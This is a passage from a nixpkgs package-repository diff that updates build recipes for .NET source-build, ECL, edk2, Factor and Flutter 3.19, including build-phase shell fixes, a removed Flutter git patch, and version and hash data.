'(.tools.dotnet=$dotnet)' global.json --arg dotnet "$(${dotnetSdk}/bin/dotnet --version)" > global.json~ + mv global.json{~,} + + patchShebangs $(find -name \*.sh -type f -executable) + + # I'm not sure why this is required, but these files seem to use the wrong + # property name. + # TODO: not needed in 9.0? + [[ ! -f src/xliff-tasks/eng/Versions.props ]] || \ + sed -i 's:\bVersionBase\b:VersionPrefix:g' \ + src/xliff-tasks/eng/Versions.props + + # at least in 9.0 preview 1, this package depends on a specific beta build + # of System.CommandLine + xmlstarlet ed \ + --inplace \ + -s //Project -t elem -n PropertyGroup \ + -s \$prev -t elem -n NoWarn -v '$(NoWarn);NU1603' \ + src/nuget-client/src/NuGet.Core/NuGet.CommandLine.XPlat/NuGet.CommandLine.XPlat.csproj + + # AD0001 crashes intermittently in source-build-reference-packages with + # CSC : error AD0001: Analyzer 'Microsoft.NetCore.CSharp.Analyzers.Runtime.CSharpDetectPreviewFeatureAnalyzer' threw an exception of type 'System.NullReferenceException' with message 'Object reference not set to an instance of an object.'. + # possibly related to https://github.com/dotnet/runtime/issues/90356 + xmlstarlet ed \ + --inplace \ + -s //Project -t elem -n PropertyGroup \ + -s \$prev -t elem -n NoWarn -v '$(NoWarn);AD0001' \ + src/source-build-reference-packages/src/referencePackages/Directory.Build.props + + # https://github.com/microsoft/ApplicationInsights-dotnet/issues/2848 + xmlstarlet ed \ + --inplace \ + -u //_:Project/_:PropertyGroup/_:BuildNumber -v 0 \ + src/source-build-externals/src/application-insights/.props/_GlobalStaticVersion.props + + # this fixes compile errors with clang 15 (e.g. darwin) + substituteInPlace \ + src/runtime/src/native/libs/CMakeLists.txt \ + --replace-fail 'add_compile_options(-Weverything)' 'add_compile_options(-Wall)' + '' + + lib.optionalString isLinux '' + substituteInPlace \ + src/runtime/src/native/libs/System.Security.Cryptography.Native/opensslshim.c \ + --replace-fail '"libssl.so"' '"${openssl.out}/lib/libssl.so"' + + substituteInPlace \ + src/runtime/src/native/libs/System.Net.Security.Native/pal_gssapi.c \ + --replace-fail '"libgssapi_krb5.so.2"' '"${libkrb5}/lib/libgssapi_krb5.so.2"' + + substituteInPlace \ + src/runtime/src/native/libs/System.Globalization.Native/pal_icushim.c \ + --replace-fail '"libicui18n.so"' '"${icu}/lib/libicui18n.so"' \ + --replace-fail '"libicuuc.so"' '"${icu}/lib/libicuuc.so"' + + # TODO: we should really make sure the first one (9.0) or the rest (8.0) + # works, but --replace-fail results in an empty file + substituteInPlace \ + src/runtime/src/native/libs/System.Globalization.Native/pal_icushim.c \ + --replace-warn '#define VERSIONED_LIB_NAME_LEN 64' '#define VERSIONED_LIB_NAME_LEN 256' \ + --replace-warn 'libicuucName[64]' 'libicuucName[256]' \ + --replace-warn 'libicui18nName[64]' 'libicui18nName[256]' + '' + + lib.optionalString isDarwin '' + substituteInPlace \ + src/runtime/src/mono/CMakeLists.txt \ + src/runtime/src/native/libs/System.Globalization.Native/CMakeLists.txt \ + --replace-fail '/usr/lib/libicucore.dylib' '${darwin.ICU}/lib/libicucore.dylib' + + substituteInPlace \ + src/runtime/src/installer/managed/Microsoft.NET.HostModel/HostModelUtils.cs \ + src/sdk/src/Tasks/Microsoft.NET.Build.Tasks/targets/Microsoft.NET.Sdk.targets \ + --replace-fail '/usr/bin/codesign' '${sigtool}/bin/codesign' + + # [...]/build.proj(123,5): error : Did not find PDBs for the following SDK files: + # [...]/build.proj(123,5): error : sdk/8.0.102/System.Resources.Extensions.dll + # [...]/build.proj(123,5): error : sdk/8.0.102/System.CodeDom.dll + # [...]/build.proj(123,5): error : sdk/8.0.102/FSharp/System.Resources.Extensions.dll + # [...]/build.proj(123,5): error : sdk/8.0.102/FSharp/System.CodeDom.dll + substituteInPlace \ + build.proj \ + --replace-warn 'FailOnMissingPDBs="true"' 'FailOnMissingPDBs="false"' + + # [...]/installer.singlerid.targets(434,5): error MSB3073: The command "pkgbuild [...]" exited with code 127 + xmlstarlet ed \ + --inplace \ + -s //Project -t elem -n PropertyGroup \ + -s \$prev -t elem -n InnerBuildArgs -v '$(InnerBuildArgs) /p:SkipInstallerBuild=true' \ + src/runtime/eng/SourceBuild.props + + # fixes swift errors, see sandboxProfile + # <unknown>:0: error: unable to open output file '/var/folders/[...]/C/clang/ModuleCache/[...]/SwiftShims-[...].pcm': 'Operation not permitted' + # <unknown>:0: error: could not build Objective-C module 'SwiftShims' + substituteInPlace \ + src/runtime/src/native/libs/System.Security.Cryptography.Native.Apple/CMakeLists.txt \ + --replace-fail 'xcrun swiftc' 'xcrun swiftc -module-cache-path "$ENV{HOME}/.cache/module-cache"' + ''; + + prepFlags = [ + "--no-artifacts" + "--no-prebuilts" + ]; + + configurePhase = '' + runHook preConfigure + + # The build process tries to overwrite some things in the sdk (e.g. + # SourceBuild.MSBuildSdkResolver.dll), so it needs to be mutable. + cp -Tr ${dotnetSdk} .dotnet + chmod -R +w .dotnet + + ./prep.sh $prepFlags + + runHook postConfigure + ''; + + dontUseCmakeConfigure = true; + + # https://github.com/NixOS/nixpkgs/issues/38991 + # bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8) + LOCALE_ARCHIVE = lib.optionalString isLinux + "${glibcLocales}/lib/locale/locale-archive"; + + buildFlags = [ + "--with-packages" dotnetSdk.artifacts + "--clean-while-building" + "--release-manifest" releaseManifestFile + "--" + "-p:PortableBuild=true" + ] ++ lib.optional (targetRid != buildRid) "-p:TargetRid=${targetRid}"; + + buildPhase = '' + runHook preBuild + + # on darwin, in a sandbox, this causes: + # CSSM_ModuleLoad(): One or more parameters passed to a function were not valid. + export DOTNET_GENERATE_ASPNET_CERTIFICATE=0 + + # CLR_CC/CXX need to be set to stop the build system from using clang-11, + # which is unwrapped + version= \ + CLR_CC=$(command -v clang) \ + CLR_CXX=$(command -v clang++) \ + ./build.sh $buildFlags + + runHook postBuild + ''; + + installPhase = '' + runHook preInstall + + mkdir "$out" + + pushd "artifacts/${targetArch}/Release" + for archive in *.tar.gz; do + target=$out/''${archive%.tar.gz} + mkdir "$target" + tar -C "$target" -xzf "$PWD/$archive" + done + popd + + runHook postInstall + ''; + + passthru = { + inherit releaseManifest buildRid targetRid; + icu = _icu; + }; + + meta = with lib; { + description = "Core functionality needed to create .NET Core projects, that is shared between Visual Studio and CLI"; + homepage = "https://dotnet.github.io/"; + license = licenses.mit; + maintainers = with maintainers; [ corngood ]; + mainProgram = "dotnet"; + platforms = [ + "x86_64-linux" + "aarch64-linux" + "x86_64-darwin" + "aarch64-darwin" + ]; + }; +} diff --git a/pkgs/development/compilers/ecl/default.nix b/pkgs/development/compilers/ecl/default.nix index a9a7471275e56..26f1ec471a597 100644 --- a/pkgs/development/compilers/ecl/default.nix +++ b/pkgs/development/compilers/ecl/default.nix @@ -65,6 +65,11 @@ stdenv.mkDerivation rec { hardeningDisable = [ "format" ]; + # ECL’s ‘make check’ only works after install, making it a de-facto + # installCheck. + doInstallCheck = true; + installCheckTarget = "check"; + postInstall = '' sed -e 's/@[-a-zA-Z_]*@//g' -i $out/bin/ecl-config wrapProgram "$out/bin/ecl" --prefix PATH ':' "${ @@ -79,6 +84,7 @@ stdenv.mkDerivation rec { description = "Lisp implementation aiming to be small, fast and easy to embed"; homepage = "https://common-lisp.net/project/ecl/"; license = licenses.mit; + mainProgram = "ecl"; maintainers = lib.teams.lisp.members; platforms = platforms.unix; changelog = "https://gitlab.com/embeddable-common-lisp/ecl/-/raw/${version}/CHANGELOG"; diff --git a/pkgs/development/compilers/edk2/default.nix b/pkgs/development/compilers/edk2/default.nix index 4cfe823e59d9e..17151cf9f9477 100644 --- a/pkgs/development/compilers/edk2/default.nix +++ b/pkgs/development/compilers/edk2/default.nix @@ -33,7 +33,7 @@ buildType = if stdenv.isDarwin then edk2 = stdenv.mkDerivation rec { pname = "edk2"; - version = "202311"; + version = "202402"; patches = [ # pass targetPrefix as an env var @@ -48,7 +48,7 @@ edk2 = stdenv.mkDerivation rec { repo = "edk2"; rev = "edk2-stable${edk2.version}"; fetchSubmodules = true; - hash = "sha256-gC/If8U9qo70rGvNl3ld/mmZszwY0w/5Ge/K21mhzYw="; + hash = "sha256-Nurm6QNKCyV6wvbj0ELdYAL7mbZ0yg/tTwnEJ+N18ng="; }; # We don't want EDK2 to keep track of OpenSSL, diff --git a/pkgs/development/compilers/factor-lang/factor99.nix b/pkgs/development/compilers/factor-lang/factor99.nix index 85ff98a28ba1a..59595210dd1a9 100644 --- a/pkgs/development/compilers/factor-lang/factor99.nix +++ b/pkgs/development/compilers/factor-lang/factor99.nix @@ -57,7 +57,7 @@ let # Defined in gdk-pixbuf setup hook findGdkPixbufLoaders "${librsvg}" - ${if to then "makeWrapper ${from} ${to}" else "wrapProgram ${from}"} \ + ${if (builtins.isString to) then "makeWrapper ${from} ${to}" else "wrapProgram ${from}"} \ --set GDK_PIXBUF_MODULE_FILE "$GDK_PIXBUF_MODULE_FILE" \ --argv0 factor \ --prefix LD_LIBRARY_PATH : /run/opengl-driver/lib:${lib.makeLibraryPath runtimeLibs} \ @@ -72,7 +72,7 @@ let passthru.runtimeLibs = runtimeLibs ++ interpreter.runtimeLibs; } (wrapFactorScript { - from = "${interpreter}/lib/factor/.factor.wrapped"; + from = "${interpreter}/lib/factor/.factor-wrapped"; to = "$out/bin/factor"; runtimeLibs = (runtimeLibs ++ interpreter.runtimeLibs); }); diff --git a/pkgs/development/compilers/flutter/patches/git-dir.patch b/pkgs/development/compilers/flutter/patches/git-dir.patch deleted file mode 100644 index 6e6ae4e6fb98c..0000000000000 --- a/pkgs/development/compilers/flutter/patches/git-dir.patch +++ /dev/null @@ -1,84 +0,0 @@ -diff --git a/dev/bots/prepare_package.dart b/dev/bots/prepare_package.dart -index 9f33a22cc3..c46255742c 100644 ---- a/dev/bots/prepare_package.dart -+++ b/dev/bots/prepare_package.dart -@@ -602,7 +602,7 @@ class ArchiveCreator { - - Future<String> _runGit(List<String> args, {Directory? workingDirectory}) { - return _processRunner.runProcess( -- <String>['git', ...args], -+ <String>['git', '--git-dir', '.git', ...args], - workingDirectory: workingDirectory ?? flutterRoot, - ); - } -diff --git a/packages/flutter_tools/lib/src/commands/downgrade.dart b/packages/flutter_tools/lib/src/commands/downgrade.dart -index a58b75c009..02da0daeb7 100644 ---- a/packages/flutter_tools/lib/src/commands/downgrade.dart -+++ b/packages/flutter_tools/lib/src/commands/downgrade.dart -@@ -120,7 +120,7 @@ class DowngradeCommand extends FlutterCommand { - // Detect unknown versions. - final ProcessUtils processUtils = _processUtils!; - final RunResult parseResult = await processUtils.run(<String>[ -- 'git', 'describe', '--tags', lastFlutterVersion, -+ 'git', '--git-dir', '.git', 'describe', '--tags', lastFlutterVersion, - ], workingDirectory: workingDirectory); - if (parseResult.exitCode != 0) { - throwToolExit('Failed to parse version for downgrade:\n${parseResult.stderr}'); -@@ -192,7 +192,7 @@ class DowngradeCommand extends FlutterCommand { - continue; - } - final RunResult parseResult = await _processUtils!.run(<String>[ -- 'git', 'describe', '--tags', sha, -+ 'git', '--git-dir', '.git', 'describe', '--tags', sha, - ], workingDirectory: workingDirectory); - if (parseResult.exitCode == 0) { - buffer.writeln('Channel "${getNameForChannel(channel)}" was previously on: ${parseResult.stdout}.'); -diff --git a/packages/flutter_tools/lib/src/version.dart b/packages/flutter_tools/lib/src/version.dart -index 0702b35e7e..36b2a95b65 100644 ---- a/packages/flutter_tools/lib/src/version.dart -+++ b/packages/flutter_tools/lib/src/version.dart -@@ -407,7 +407,7 @@ abstract class FlutterVersion { - /// wrapper that does that. - @visibleForTesting - static List<String> gitLog(List<String> args) { -- return <String>['git', '-c', 'log.showSignature=false', 'log'] + args; -+ return <String>['git', '--git-dir','.git', '-c', 'log.showSignature=false', 'log'] + args; - } - } - -@@ -559,7 +559,7 @@ class _FlutterVersionGit extends FlutterVersion { - String? get repositoryUrl { - if (_repositoryUrl == null) { - final String gitChannel = _runGit( -- 'git rev-parse --abbrev-ref --symbolic $kGitTrackingUpstream', -+ 'git --git-dir .git rev-parse --abbrev-ref --symbolic $kGitTrackingUpstream', - globals.processUtils, - flutterRoot, - ); -@@ -567,7 +567,7 @@ class _FlutterVersionGit extends FlutterVersion { - if (slash != -1) { - final String remote = gitChannel.substring(0, slash); - _repositoryUrl = _runGit( -- 'git ls-remote --get-url $remote', -+ 'git --git-dir .git ls-remote --get-url $remote', - globals.processUtils, - flutterRoot, - ); -@@ -952,7 +952,7 @@ class GitTagVersion { - } - // find all tags attached to the given [gitRef] - final List<String> tags = _runGit( -- 'git tag --points-at $gitRef', processUtils, workingDirectory).trim().split('\n'); -+ 'git --git-dir .git tag --points-at $gitRef', processUtils, workingDirectory).trim().split('\n'); - - // Check first for a stable tag - final RegExp stableTagPattern = RegExp(r'^\d+\.\d+\.\d+$'); -@@ -973,7 +973,7 @@ class GitTagVersion { - // recent tag and number of commits past. - return parse( - _runGit( -- 'git describe --match *.*.* --long --tags $gitRef', -+ 'git --git-dir .git describe --match *.*.* --long --tags $gitRef', - processUtils, - workingDirectory, - ) diff --git a/pkgs/development/compilers/flutter/versions/3_19/data.json b/pkgs/development/compilers/flutter/versions/3_19/data.json new file mode 100644 index 0000000000000..988bafb05c2d5 --- /dev/null +++ b/pkgs/development/compilers/flutter/versions/3_19/data.json @@ -0,0 +1,989 @@ +{ + "version": "3.19.0", + "engineVersion": "04817c99c9fd4956f27505204f7e344335810aed", + "dartVersion": "3.3.0", + "dartHash": { + "x86_64-linux": "sha256-wUg8GpieBD84LkrqfbZ6goHKgq+ZNJFzN8DMMmHJTns=", + "aarch64-linux": "sha256-s/RiVtOLtTtA1CAcYi/okothRO/0Ph+s9eogL84V6zc=", + "x86_64-darwin": "sha256-aseeiQkv8/9yuAVMn2nxL7tNjfK2H9zM+GtXBvV6R3E=", + "aarch64-darwin": "sha256-A6Ru36rYKf+IyUTB6LZkzl+hj1fJmuMJedltiSSxtF0=" + }, + "flutterHash": "sha256-rIPveNuzNEvWhO/1aY0hFfmJbsV3hTm6fTfLH6pWZ7c=", + "artifactHashes": { + "android": { + "aarch64-darwin": "sha256-U1DFJZDf7m7WL3cOHeAWa0D01nO5Trsd/EUZFbU2iY0=", + "aarch64-linux": "sha256-ACQdmNgU52jWmp9BWOzSdPEkEigXts16/pYVgbBM11k=", + "x86_64-darwin": "sha256-U1DFJZDf7m7WL3cOHeAWa0D01nO5Trsd/EUZFbU2iY0=", + "x86_64-linux": "sha256-ACQdmNgU52jWmp9BWOzSdPEkEigXts16/pYVgbBM11k=" + }, + "fuchsia": { + "aarch64-darwin": "sha256-eu0BERdz53CkSexbpu3KA7O6Q4g0s9SGD3t1Snsk3Fk=", + "aarch64-linux": "sha256-eu0BERdz53CkSexbpu3KA7O6Q4g0s9SGD3t1Snsk3Fk=", + "x86_64-darwin": "sha256-eu0BERdz53CkSexbpu3KA7O6Q4g0s9SGD3t1Snsk3Fk=", + "x86_64-linux": "sha256-eu0BERdz53CkSexbpu3KA7O6Q4g0s9SGD3t1Snsk3Fk=" + }, + "ios": { + "aarch64-darwin": "sha256-nMtIjyLeDNLERmjU8CCtmGrCckG5uXnu53zvKPEii9g=", + "aarch64-linux": "sha256-nMtIjyLeDNLERmjU8CCtmGrCckG5uXnu53zvKPEii9g=", + "x86_64-darwin": "sha256-nMtIjyLeDNLERmjU8CCtmGrCckG5uXnu53zvKPEii9g=", + "x86_64-linux": "sha256-nMtIjyLeDNLERmjU8CCtmGrCckG5uXnu53zvKPEii9g=" + }, + "linux": { + "aarch64-darwin": "sha256-XqrkmbUjNvcVSoHQlGK75JsxHEcsSrzBplRtx8xNrIU=", + "aarch64-linux": "sha256-XqrkmbUjNvcVSoHQlGK75JsxHEcsSrzBplRtx8xNrIU=", + "x86_64-darwin": "sha256-J3J+gE0nSOnhMEo7mjVLCxdZtaBrWsQHr6xfBdvHamU=", + "x86_64-linux": "sha256-J3J+gE0nSOnhMEo7mjVLCxdZtaBrWsQHr6xfBdvHamU=" + }, + "macos": { + "aarch64-darwin": "sha256-PJ1y+yZEHgB74rJAtnTZKgn6R9m4p5eiwVap6QkLx/Q=", + "aarch64-linux": "sha256-PJ1y+yZEHgB74rJAtnTZKgn6R9m4p5eiwVap6QkLx/Q=", + "x86_64-darwin": "sha256-PJ1y+yZEHgB74rJAtnTZKgn6R9m4p5eiwVap6QkLx/Q=", + "x86_64-linux": "sha256-PJ1y+yZEHgB74rJAtnTZKgn6R9m4p5eiwVap6QkLx/Q=" + }, + "universal": { + "aarch64-darwin": "sha256-GgvIuqvGPjxx6V2Mz1/TK8c6p8Frc3XKbWCgsduFhWU=", + "aarch64-linux": "sha256-SwgsbQECd1uqU11V6jKZ0hf1NZRBiC3xZuIf3cthFz0=", + "x86_64-darwin": "sha256-q8Kn9F1w1zavq/LFvPITaWSRdCkAOKi3olDVoHpeu5g=", + "x86_64-linux": "sha256-iDV57cKmDL0eUqtJ28RO+Xwomzwnaet4g30gVUXv8jY=" + }, + "web": { + "aarch64-darwin": "sha256-mttYf65rooXs3ctkaXrJsz4mGY2t4zqXZZ/R16EoCYw=", + "aarch64-linux": "sha256-mttYf65rooXs3ctkaXrJsz4mGY2t4zqXZZ/R16EoCYw=", + "x86_64-darwin": "sha256-mttYf65rooXs3ctkaXrJsz4mGY2t4zqXZZ/R16EoCYw=", + "x86_64-linux": "sha256-mttYf65rooXs3ctkaXrJsz4mGY2t4zqXZZ/R16EoCYw=" + }, + "windows": { + "aarch64-darwin": "sha256-/ZQwetr5gqhrvLF7/Sl/9mmi9oAg9k3s7poqVk57GIA=", + "aarch64-linux": "sha256-/ZQwetr5gqhrvLF7/Sl/9mmi9oAg9k3s7poqVk57GIA=", + "x86_64-darwin": "sha256-/ZQwetr5gqhrvLF7/Sl/9mmi9oAg9k3s7poqVk57GIA=", + "x86_64-linux": "sha256-/ZQwetr5gqhrvLF7/Sl/9mmi9oAg9k3s7poqVk57GIA=" + } + }, + "pubspecLock": { + "packages": { + "_fe_analyzer_shared": { + "dependency": "direct main", + "description": { + "name": "_fe_analyzer_shared", + "sha256": "36a321c3d2cbe01cbcb3540a87b8843846e0206df3e691fa7b23e19e78de6d49", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "65.0.0" + }, + "analyzer": { + "dependency": "direct main", + "description": { + "name": "analyzer", + "sha256": "dfe03b90ec022450e22513b5e5ca1f01c0c01de9c3fba2f7fd233cb57a6b9a07", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "6.3.0" + }, + "archive": { + "dependency": "direct main", + "description": { + "name": "archive", + "sha256": "80e5141fafcb3361653ce308776cfd7d45e6e9fbb429e14eec571382c0c5fecb", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.3.2" + }, + "args": { + "dependency": "direct main", + "description": { + "name": "args", + "sha256": "eef6c46b622e0494a36c5a12d10d77fb4e855501a91c1b9ef9339326e58f0596", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.4.2" + }, + "async": { + "dependency": "direct main", + "description": { + "name": "async", + "sha256": "947bfcf187f74dbc5e146c9eb9c0f10c9f8b30743e341481c1e2ed3ecc18c20c", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.11.0" + }, + "boolean_selector": { + "dependency": "direct main", + "description": { + "name": "boolean_selector", + "sha256": "6cfb5af12253eaf2b368f07bacc5a80d1301a071c73360d746b7f2e32d762c66", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.1.1" + }, + "browser_launcher": { + "dependency": "direct main", + "description": { + "name": "browser_launcher", + "sha256": "6ee4c6b1f68a42e769ef6e663c4f56708522f7bce9d2ab6e308a37b612ffa4ec", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.1.1" + }, + "built_collection": { + "dependency": "direct main", + "description": { + "name": "built_collection", + "sha256": "376e3dd27b51ea877c28d525560790aee2e6fbb5f20e2f85d5081027d94e2100", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "5.1.1" + }, + "built_value": { + "dependency": "direct main", + "description": { + "name": "built_value", + "sha256": "c9aabae0718ec394e5bc3c7272e6bb0dc0b32201a08fe185ec1d8401d3e39309", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "8.8.1" + }, + "checked_yaml": { + "dependency": "direct dev", + "description": { + "name": "checked_yaml", + "sha256": "feb6bed21949061731a7a75fc5d2aa727cf160b91af9a3e464c5e3a32e28b5ff", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.0.3" + }, + "cli_config": { + "dependency": "direct main", + "description": { + "name": "cli_config", + "sha256": "65c7830649e1f8247660f1b783effb460255d6e2c1ac94eb823cf1f84e59b288", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.1.2" + }, + "clock": { + "dependency": "direct main", + "description": { + "name": "clock", + "sha256": "cb6d7f03e1de671e34607e909a7213e31d7752be4fb66a86d29fe1eb14bfb5cf", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.1.1" + }, + "collection": { + "dependency": "direct dev", + "description": { + "name": "collection", + "sha256": "ee67cb0715911d28db6bf4af1026078bd6f0128b07a5f66fb2ed94ec6783c09a", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.18.0" + }, + "completion": { + "dependency": "direct main", + "description": { + "name": "completion", + "sha256": "f11b7a628e6c42b9edc9b0bc3aa490e2d930397546d2f794e8e1325909d11c60", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.0.1" + }, + "convert": { + "dependency": "direct main", + "description": { + "name": "convert", + "sha256": "0f08b14755d163f6e2134cb58222dd25ea2a2ee8a195e53983d57c075324d592", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.1.1" + }, + "coverage": { + "dependency": "direct main", + "description": { + "name": "coverage", + "sha256": "8acabb8306b57a409bf4c83522065672ee13179297a6bb0cb9ead73948df7c76", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.7.2" + }, + "crypto": { + "dependency": "direct main", + "description": { + "name": "crypto", + "sha256": "ff625774173754681d66daaf4a448684fb04b78f902da9cb3d308c19cc5e8bab", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.0.3" + }, + "csslib": { + "dependency": "direct main", + "description": { + "name": "csslib", + "sha256": "706b5707578e0c1b4b7550f64078f0a0f19dec3f50a178ffae7006b0a9ca58fb", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.0.0" + }, + "dap": { + "dependency": "direct main", + "description": { + "name": "dap", + "sha256": "1dc9a11bc60836b151672d3edb6a56a18383ecf122e56eaf5837b32c81641aeb", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.1.0" + }, + "dds": { + "dependency": "direct main", + "description": { + "name": "dds", + "sha256": "436bf46d0bf15ec750098fbf4d43e90210873ea615aee14611bfd593ae52ddd8", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.1.0+1" + }, + "dds_service_extensions": { + "dependency": "direct main", + "description": { + "name": "dds_service_extensions", + "sha256": "c41b86e0c7c496b39d10448f1e4bcd2dbabc29c4cce2bd6d864d57a837ab94b2", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.6.2" + }, + "devtools_shared": { + "dependency": "direct main", + "description": { + "name": "devtools_shared", + "sha256": "7f173edabb97ac7c7815ae6b08dc18733504e62651eb0ab4216559e173164df1", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "6.0.3" + }, + "dwds": { + "dependency": "direct main", + "description": { + "name": "dwds", + "sha256": "7ae2b39e73f959e572fa5efabf3606b0c9863a39067a869ac3ea593ace901280", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "23.0.0+1" + }, + "extension_discovery": { + "dependency": "direct main", + "description": { + "name": "extension_discovery", + "sha256": "20735622d0763865f9d94c3ecdce4441174530870760253e9d364fb4f3da8688", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.0.0" + }, + "fake_async": { + "dependency": "direct main", + "description": { + "name": "fake_async", + "sha256": "511392330127add0b769b75a987850d136345d9227c6b94c96a04cf4a391bf78", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.3.1" + }, + "file": { + "dependency": "direct main", + "description": { + "name": "file", + "sha256": "5fc22d7c25582e38ad9a8515372cd9a93834027aacf1801cf01164dac0ffa08c", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "7.0.0" + }, + "file_testing": { + "dependency": "direct dev", + "description": { + "name": "file_testing", + "sha256": "0aaadb4025bd350403f4308ad6c4cea953278d9407814b8342558e4946840fb5", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.0.0" + }, + "fixnum": { + "dependency": "direct main", + "description": { + "name": "fixnum", + "sha256": "25517a4deb0c03aa0f32fd12db525856438902d9c16536311e76cdc57b31d7d1", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.1.0" + }, + "flutter_template_images": { + "dependency": "direct main", + "description": { + "name": "flutter_template_images", + "sha256": "fd3e55af73c577b9e3f88d4080d3e366cb5c8ef3fbd50b94dfeca56bb0235df6", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "4.2.0" + }, + "frontend_server_client": { + "dependency": "direct main", + "description": { + "name": "frontend_server_client", + "sha256": "408e3ca148b31c20282ad6f37ebfa6f4bdc8fede5b74bc2f08d9d92b55db3612", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.2.0" + }, + "glob": { + "dependency": "direct main", + "description": { + "name": "glob", + "sha256": "0e7014b3b7d4dac1ca4d6114f82bf1782ee86745b9b42a92c9289c23d8a0ab63", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.1.2" + }, + "graphs": { + "dependency": "direct main", + "description": { + "name": "graphs", + "sha256": "aedc5a15e78fc65a6e23bcd927f24c64dd995062bcd1ca6eda65a3cff92a4d19", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.3.1" + }, + "html": { + "dependency": "direct main", + "description": { + "name": "html", + "sha256": "3a7812d5bcd2894edf53dfaf8cd640876cf6cef50a8f238745c8b8120ea74d3a", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.15.4" + }, + "http": { + "dependency": "direct main", + "description": { + "name": "http", + "sha256": "5895291c13fa8a3bd82e76d5627f69e0d85ca6a30dcac95c4ea19a5d555879c2", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.13.6" + }, + "http_multi_server": { + "dependency": "direct main", + "description": { + "name": "http_multi_server", + "sha256": "97486f20f9c2f7be8f514851703d0119c3596d14ea63227af6f7a481ef2b2f8b", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.2.1" + }, + "http_parser": { + "dependency": "direct main", + "description": { + "name": "http_parser", + "sha256": "2aa08ce0341cc9b354a498388e30986515406668dbcc4f7c950c3e715496693b", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "4.0.2" + }, + "intl": { + "dependency": "direct main", + "description": { + "name": "intl", + "sha256": "3bc132a9dbce73a7e4a21a17d06e1878839ffbf975568bc875c60537824b0c4d", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.18.1" + }, + "io": { + "dependency": "direct main", + "description": { + "name": "io", + "sha256": "2ec25704aba361659e10e3e5f5d672068d332fc8ac516421d483a11e5cbd061e", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.0.4" + }, + "js": { + "dependency": "direct main", + "description": { + "name": "js", + "sha256": "f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.6.7" + }, + "json_annotation": { + "dependency": "direct dev", + "description": { + "name": "json_annotation", + "sha256": "b10a7b2ff83d83c777edba3c6a0f97045ddadd56c944e1a23a3fdf43a1bf4467", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "4.8.1" + }, + "json_rpc_2": { + "dependency": "direct main", + "description": { + "name": "json_rpc_2", + "sha256": "5e469bffa23899edacb7b22787780068d650b106a21c76db3c49218ab7ca447e", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.0.2" + }, + "logging": { + "dependency": "direct main", + "description": { + "name": "logging", + "sha256": "623a88c9594aa774443aa3eb2d41807a48486b5613e67599fb4c41c0ad47c340", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.2.0" + }, + "matcher": { + "dependency": "direct main", + "description": { + "name": "matcher", + "sha256": "d2323aa2060500f906aa31a895b4030b6da3ebdcc5619d14ce1aada65cd161cb", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.12.16+1" + }, + "meta": { + "dependency": "direct main", + "description": { + "name": "meta", + "sha256": "d584fa6707a52763a52446f02cc621b077888fb63b93bbcb1143a7be5a0c0c04", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.11.0" + }, + "mime": { + "dependency": "direct main", + "description": { + "name": "mime", + "sha256": "e4ff8e8564c03f255408decd16e7899da1733852a9110a58fe6d1b817684a63e", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.0.4" + }, + "multicast_dns": { + "dependency": "direct main", + "description": { + "name": "multicast_dns", + "sha256": "316cc47a958d4bd3c67bd238fe8b44fdfb6133bad89cb191c0c3bd3edb14e296", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.3.2+6" + }, + "mustache_template": { + "dependency": "direct main", + "description": { + "name": "mustache_template", + "sha256": "a46e26f91445bfb0b60519be280555b06792460b27b19e2b19ad5b9740df5d1c", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.0.0" + }, + "native_assets_builder": { + "dependency": "direct main", + "description": { + "name": "native_assets_builder", + "sha256": "15076b8010eb1ab2a01c1b4bee6abd0174f40f2151406466119b69b398071df4", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.3.0" + }, + "native_assets_cli": { + "dependency": "direct main", + "description": { + "name": "native_assets_cli", + "sha256": 